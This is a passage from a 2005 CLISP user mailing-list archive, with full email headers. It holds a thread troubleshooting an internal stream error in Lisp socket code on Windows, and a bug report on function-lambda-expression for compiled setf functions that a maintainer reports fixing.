b=Ck3tdaOLO6E0E0fiFxbiika2rNCCPm6OVgQaRUWOO+Ur2j3ugNvVzz+SEo5hSnTanDuRFakgjwCuN4wQdukgG+q2INH2I3IfMsazU19wS4fFXE0t2Com6p9hLP0DflUZF/mvcFoqudzmKGo+YkhYY38BS4wo+JCV27HJKgtb7Y8= Received: by 10.36.3.19 with SMTP id 19mr4600786nzc; Wed, 21 Sep 2005 09:03:57 -0700 (PDT) Received: by 10.36.67.16 with HTTP; Wed, 21 Sep 2005 09:03:57 -0700 (PDT) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 09:05:51 2005 X-Original-Date: Wed, 21 Sep 2005 12:03:57 -0400 I am testing out trivial-http and trivial-sockets. Very simple socket code. But, I get a strange stream.d error. I have just downloaded the most recent version of clisp, 9/21/2005. My question, what do you think? *** - Internal error: statement in file "stream.d", line 13314 has been reached!! Please send the authors of the program a description how you produced this error! Code is basically: (defun read-all (hres) (print hres) ;; Get the last element, the stream (let ((stream (first (last hres)))) (print stream) (do ((c (read-line stream) (read-line stream nil 'the-end))) =09((eql c nil)) (format t "~A~%" c)) (close stream))) From sds@gnu.org Wed Sep 21 09:39:16 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI7cm-0000lb-QG for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 09:39:12 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI7ch-0000Il-7U for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 09:39:12 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8LGcwPA026912; Wed, 21 Sep 2005 12:38:58 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Berlin Brown Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Wed, 21 Sep 2005 12:03:57 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 09:41:13 2005 X-Original-Date: Wed, 21 Sep 2005 12:37:55 -0400 > * Berlin Brown [2005-09-21 12:03:57 -0400]: > > (defun read-all (hres) > (print hres) > ;; Get the last element, the stream > (let ((stream (first (last hres)))) > (print stream) > (do ((c (read-line stream) (read-line stream nil 'the-end))) > ((eql c nil)) this is incorrect: either (read-line stream nil nil) or (eq c 'the-end) > (format t "~A~%" c)) > (close stream))) what is STREAM? how did you create it? -- Sam Steingold (http://www.podval.org/~sds) running w2k nobody's life, liberty or property are safe while the legislature is in session From pjb@informatimago.com Wed Sep 21 10:05:27 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI82B-00025L-4t for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 10:05:27 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI824-0005PS-PC for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 10:05:26 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 71D735833D; Wed, 21 Sep 2005 19:05:04 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E33B9582FA; Wed, 21 Sep 2005 19:05:01 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 30A2610F9F6; Wed, 21 Sep 2005 19:05:01 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050921170501.30A2610F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] function-lambda-expression of compiled setf breaks in debugger. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 10:07:26 2005 X-Original-Date: Wed, 21 Sep 2005 19:05:01 +0200 (CEST) CLHS cites no exceptional situation for function-lambda-expression. I would accept NIL instead of an error... [1]> (defun (setf a) (v a) (setf (car a) v)) (SETF A) [2]> (function-lambda-expression (function (setf a))) (LAMBDA (V A) (DECLARE (SYSTEM::IN-DEFUN (SETF A))) (BLOCK A (SETF (CAR A) V))) ; #(NIL NIL NIL NIL ((DECLARATION XLIB::CLX-VALUES VALUES OPTIMIZE DECLARATION))) ; (SETF A) [3]> (compile '(setf a)) (SETF A) ; NIL ; NIL [4]> (function-lambda-expression (function (setf a))) *** - GET: (SETF A) is not a symbol The following restarts are available: USE-VALUE :R1 You may input a value to be used instead. ABORT :R2 ABORT Break 1 [5]> [6]> (print-bug-report-info) LISP-IMPLEMENTATION-TYPE "CLISP" LISP-IMPLEMENTATION-VERSION "2.35 (2005-08-29) (built 3334467097) (memory 3334467514)" SOFTWARE-TYPE "gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl -lsigsegv -L/usr/X11R6/lib -lX11 SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY libsigsegv 2.2" SOFTWARE-VERSION "GNU C 3.3 20030226 (prerelease) (SuSE Linux)" MACHINE-INSTANCE "thalassa.informatimago.com [62.93.174.79]" MACHINE-TYPE "I686" MACHINE-VERSION "I686" *FEATURES* (:COM.INFORMATIMAGO.PJB :ASDF :WILDCARD :RAWSOCK :PCRE :CLX-ANSI-COMMON-LISP :CLX :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) [7]> -- __Pascal Bourguignon__ http://www.informatimago.com/ You're always typing. Well, let's see you ignore my sitting on your hands. From berlin.brown@gmail.com Wed Sep 21 10:32:33 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI8SK-0003JQ-30 for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 10:32:28 -0700 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI8SI-0005i5-8k for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 10:32:28 -0700 Received: by zproxy.gmail.com with SMTP id i11so1830755nzh for ; Wed, 21 Sep 2005 10:32:19 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=CDwE0SYOcaA9Xfn3jEfT9791N6P8L+oaSjfaTjSYXkJ49wg2qvps+vzqh+o++WJmm9nbfkH/D06QUmYPvTN/NjSjB7qwSGfExm7RgE5r8i+T6J3p++4wvxrHg7FA2ZYJOlFejPgjim8oK4WIrZvMbyFRrnh8LQ7hNIbZmN6Wqzc= Received: by 10.37.2.6 with SMTP id e6mr5332586nzi; Wed, 21 Sep 2005 10:32:18 -0700 (PDT) Received: by 10.36.67.16 with HTTP; Wed, 21 Sep 2005 10:32:18 -0700 (PDT) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net, Berlin Brown In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 10:34:01 2005 X-Original-Date: Wed, 21 Sep 2005 13:32:18 -0400 # This is the stream, I created with the trivial-http library which uses trivial-socket. I haven't looked through that library code. I will have to go back to my lisp docs, that better? (let ((stream (first (last hres)))) (print stream) (do ((c (read-line stream nil nil) (read-line stream nil nil))) =09((eq c nil)) (format t "~A~%" c)) (close stream))) Same error. On 9/21/05, Sam Steingold wrote: > > * Berlin Brown [2005-09-21 12:03:57 -0400]: > > > > (defun read-all (hres) > > (print hres) > > ;; Get the last element, the stream > > (let ((stream (first (last hres)))) > > (print stream) > > (do ((c (read-line stream) (read-line stream nil 'the-end))) > > ((eql c nil)) > > this is incorrect: either (read-line stream nil nil) or (eq c 'the-end) > > > (format t "~A~%" c)) > > (close stream))) > > what is STREAM? > how did you create it? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > nobody's life, liberty or property are safe while the legislature is in s= ession > From berlin.brown@gmail.com Wed Sep 21 10:32:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI8Sg-0003KG-9O for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 10:32:50 -0700 Received: from zproxy.gmail.com ([64.233.162.200]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI8SA-0002IH-UZ for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 10:32:50 -0700 Received: by zproxy.gmail.com with SMTP id i11so1830338nzh for ; Wed, 21 Sep 2005 10:32:18 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=YNF6hlvTFmtbdfNdWpRu+zuYV5xNAEzqHV3OJgBGGS0aOyFQC5DO3Veak+hUR5k3dQQ+iNMMYKn6JEnYBQkgyfkX8JHuy4Lx1fsoe0+zD1qszZe66IAZ1W8BWmEkyQdtH4v11y0htSIUFBCyNlsJUAeRs8ihFjyKappDLj7kHjk= Received: by 10.37.20.63 with SMTP id x63mr5351155nzi; Wed, 21 Sep 2005 10:32:12 -0700 (PDT) Received: by 10.36.67.16 with HTTP; Wed, 21 Sep 2005 10:32:11 -0700 (PDT) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net, Berlin Brown In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 10:34:03 2005 X-Original-Date: Wed, 21 Sep 2005 13:32:11 -0400 # This is the stream, I created with the trivial-http library which uses trivial-socket. I haven't looked through that library code. I will have to go back to my lisp docs, that better? (let ((stream (first (last hres)))) (print stream) (do ((c (read-line stream nil nil) (read-line stream nil nil))) =09((eq c nil)) (format t "~A~%" c)) (close stream))) On 9/21/05, Sam Steingold wrote: > > * Berlin Brown [2005-09-21 12:03:57 -0400]: > > > > (defun read-all (hres) > > (print hres) > > ;; Get the last element, the stream > > (let ((stream (first (last hres)))) > > (print stream) > > (do ((c (read-line stream) (read-line stream nil 'the-end))) > > ((eql c nil)) > > this is incorrect: either (read-line stream nil nil) or (eq c 'the-end) > > > (format t "~A~%" c)) > > (close stream))) > > what is STREAM? > how did you create it? > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > nobody's life, liberty or property are safe while the legislature is in s= ession > From sds@gnu.org Wed Sep 21 11:33:39 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI9PW-0006En-NF for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 11:33:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI9PV-0001sZ-0j for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 11:33:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8LIXGKM018366; Wed, 21 Sep 2005 14:33:16 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Berlin Brown Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Wed, 21 Sep 2005 13:32:18 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 11:35:28 2005 X-Original-Date: Wed, 21 Sep 2005 14:32:13 -0400 > * Berlin Brown [2005-09-21 13:32:18 -0400]: > > # > > This is the stream, I created with the trivial-http library which uses > trivial-socket. I haven't looked through that library code. > > I will have to go back to my lisp docs, that better? > (let ((stream (first (last hres)))) > (print stream) > (do ((c (read-line stream nil nil) (read-line stream nil nil))) > ((eq c nil)) > (format t "~A~%" c)) > (close stream))) > > Same error. wfm: [1]> (setq s (socket-connect 80 "www.podval.org" :buffered nil)) # [2]> (format s "GET / HTTP/1.0~2%") NIL [3]> (loop :for l = (read-line s nil nil) :while l :do (print l)) "HTTP/1.1 200 OK" "Date: Wed, 21 Sep 2005 18:30:58 GMT" "Server: Apache/2.0.54 (Fedora)" "Last-Modified: Tue, 09 Apr 2002 05:08:40 GMT" "ETag: \"8bd04-2b2-2d8a8600\"" "Accept-Ranges: bytes" "Content-Length: 690" "Connection: close" "Content-Type: text/html; charset=UTF-8" "" "" "" "" "" "" " " " Podval.org frontpage" "" "" "" " " " podval.org" " " "" "

" " Users" "

" "" "

" " " " \"[" " " " " " \"[" " " "

" "" "" "" "" NIL [4]> (google closes the connection). BTW, ":buffered nil" is a bad idea. -- Sam Steingold (http://www.podval.org/~sds) running w2k The only guy who got all his work done by Friday was Robinson Crusoe. From berlin.brown@gmail.com Wed Sep 21 11:50:30 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI9fp-00072H-Kp for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 11:50:29 -0700 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI9fo-0002vt-Dc for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 11:50:29 -0700 Received: by zproxy.gmail.com with SMTP id i11so1867173nzh for ; Wed, 21 Sep 2005 11:50:20 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=t4jrCQv09/ByT+biKh70lj/FAzk4ZoLXHcgZx7PfvUnmfpYQEf7H5L6TuyofBiRodKx0TwuOVPHJ1TzWE+HzTzj8JRnYnGuT8CeooCVK3FW0Yk7RlGeeYqracXKbfyEAf1yzh4QnJMFouhOy+res+gr1tR360L4jtsM+fXhYhCk= Received: by 10.36.10.10 with SMTP id 10mr1414638nzj; Wed, 21 Sep 2005 11:50:20 -0700 (PDT) Received: by 10.36.67.16 with HTTP; Wed, 21 Sep 2005 11:50:20 -0700 (PDT) Message-ID: From: Berlin Brown Reply-To: Berlin Brown To: clisp-list@lists.sourceforge.net, Berlin Brown In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_LESSTHAN BODY: Text interparsed with < 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_GREATERTHAN BODY: Text interparsed with > 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] Re: Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 11:52:14 2005 X-Original-Date: Wed, 21 Sep 2005 14:50:20 -0400 I think I am on a busted Win2K install. I can't figure it out *** - Internal error: statement in file "stream.d", line 13314 has been reached!! Please send the authors of the program a description how you produced this error! I will try it on WinXP, thanks. Another question. I have the 'clisp.exe' will launching that just launch the 'base directory. For example, I normally haven't been using the options: clisp.exe -K base It launches fine without it, 'clisp.exe' On 9/21/05, Sam Steingold wrote: > > * Berlin Brown [2005-09-21 13:32:18 -0400]: > > > > # > > > > This is the stream, I created with the trivial-http library which uses > > trivial-socket. I haven't looked through that library code. > > > > I will have to go back to my lisp docs, that better? > > (let ((stream (first (last hres)))) > > (print stream) > > (do ((c (read-line stream nil nil) (read-line stream nil nil))) > > ((eq c nil)) > > (format t "~A~%" c)) > > (close stream))) > > > > Same error. > > wfm: > > [1]> (setq s (socket-connect 80 "www.podval.org" :buffered nil)) > # > [2]> (format s "GET / HTTP/1.0~2%") > NIL > [3]> (loop :for l =3D (read-line s nil nil) :while l :do (print l)) > > "HTTP/1.1 200 OK" > "Date: Wed, 21 Sep 2005 18:30:58 GMT" > "Server: Apache/2.0.54 (Fedora)" > "Last-Modified: Tue, 09 Apr 2002 05:08:40 GMT" > "ETag: \"8bd04-2b2-2d8a8600\"" > "Accept-Ranges: bytes" > "Content-Length: 690" > "Connection: close" > "Content-Type: text/html; charset=3DUTF-8" > "" > "" > "" > "" > "" > "" > " > " > " Podval.org frontpage" > "" > "" > "" > " " > " podval. a>org" > " " > "" > "

" > " Users" > "

" > "" > "

" > " " > " by Apache ]\">" > " " > " " > " 3D\"[ Hat Linux ]\">" > " " > "

" > "" > "" > "" > "" > NIL > [4]> > > (google closes the connection). > BTW, ":buffered nil" is a bad idea. > > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > The only guy who got all his work done by Friday was Robinson Crusoe. > From sds@gnu.org Wed Sep 21 12:10:24 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EI9z5-00086H-N9 for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 12:10:23 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EI9z0-0006oD-1A for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 12:10:23 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8LJ9pu9025128; Wed, 21 Sep 2005 15:10:03 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050921170501.30A2610F9F6@thalassa.informatimago.com> (Pascal Bourguignon's message of "Wed, 21 Sep 2005 19:05:01 +0200 (CEST)") References: <20050921170501.30A2610F9F6@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: function-lambda-expression of compiled setf breaks in debugger. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 12:11:42 2005 X-Original-Date: Wed, 21 Sep 2005 15:08:48 -0400 > * Pascal Bourguignon [2005-09-21 19:05:01 +0200]: > > [4]> (function-lambda-expression (function (setf a))) > > *** - GET: (SETF A) is not a symbol just fixed this in the CVS. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k Lisp: Serious empowerment. From sds@gnu.org Wed Sep 21 12:31:59 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EIAJt-0000ef-EP for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 12:31:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EIAJo-0005mK-QH for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 12:31:53 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8LJVdLe028397; Wed, 21 Sep 2005 15:31:40 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Berlin Brown Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Berlin Brown's message of "Wed, 21 Sep 2005 14:50:20 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Berlin Brown Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Strange error with socket code Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 12:33:36 2005 X-Original-Date: Wed, 21 Sep 2005 15:30:37 -0400 > * Berlin Brown [2005-09-21 14:50:20 -0400]: > > I think I am on a busted Win2K install. I can't figure it out > > *** - Internal error: statement in file "stream.d", line 13314 has been > reached!! > Please send the authors of the program a description how you produced > this error! > > I will try it on WinXP, thanks. I am on w2k and I do not see this. please run under GDB and find out what GetLastError() is (see the sources). > Another question. I have the 'clisp.exe' will launching that just > launch the 'base directory. For example, I normally haven't been > using the options: > > clisp.exe -K base > > It launches fine without it, 'clisp.exe' I do not understand what you are trying to say. Could you please state 1. what you are doing 2. what you expect 3. what you are getting thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k There is Truth, and its value is T. Or just non-NIL. So 0 is True! From parsons@sci.brooklyn.cuny.edu Wed Sep 21 14:47:08 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EICQm-00083e-1t for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 14:47:08 -0700 Received: from mail.sci.brooklyn.cuny.edu ([146.245.250.130]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EICQk-0000Jc-PD for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 14:47:08 -0700 Received: from localhost (localhost [127.0.0.1]) by mail.sci.brooklyn.cuny.edu (8.13.1/8.13.1) with ESMTP id 